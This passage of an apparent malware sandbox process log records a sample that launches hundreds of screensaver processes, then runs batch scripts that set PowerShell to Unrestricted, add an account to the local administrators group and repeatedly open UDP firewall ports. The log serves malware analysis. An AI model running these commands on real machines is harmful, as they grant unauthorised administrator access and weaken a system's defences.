    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1572
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2652
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2908
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4824
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5076
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5052
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4180
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4588
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4576
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4260
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3156
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4468
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4892
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4284
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5060
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2156
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4368
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3292
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3360
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2420
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4368
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1992
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1212
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1544
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1212
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2376
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4516
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1772
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1028
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1772
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:3200
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2420
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2488
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3884
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4540
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2988
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1732
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4696
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1592
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4892
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1684
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4576
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2376
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2472
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1608
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3232
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1500
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2392
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1264
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4572
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2188
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4080
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3232
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4552
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:60
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3012
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4552
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4456
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3980
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1964
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2556
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3312
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1752
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2832
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1992
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1576
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4512
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4568
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2392
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5080
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1592
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4360
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:1412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2416
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3104
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5088
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:528
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2388
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:732
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4816
- - C:\Windows\system32\netsh.exe
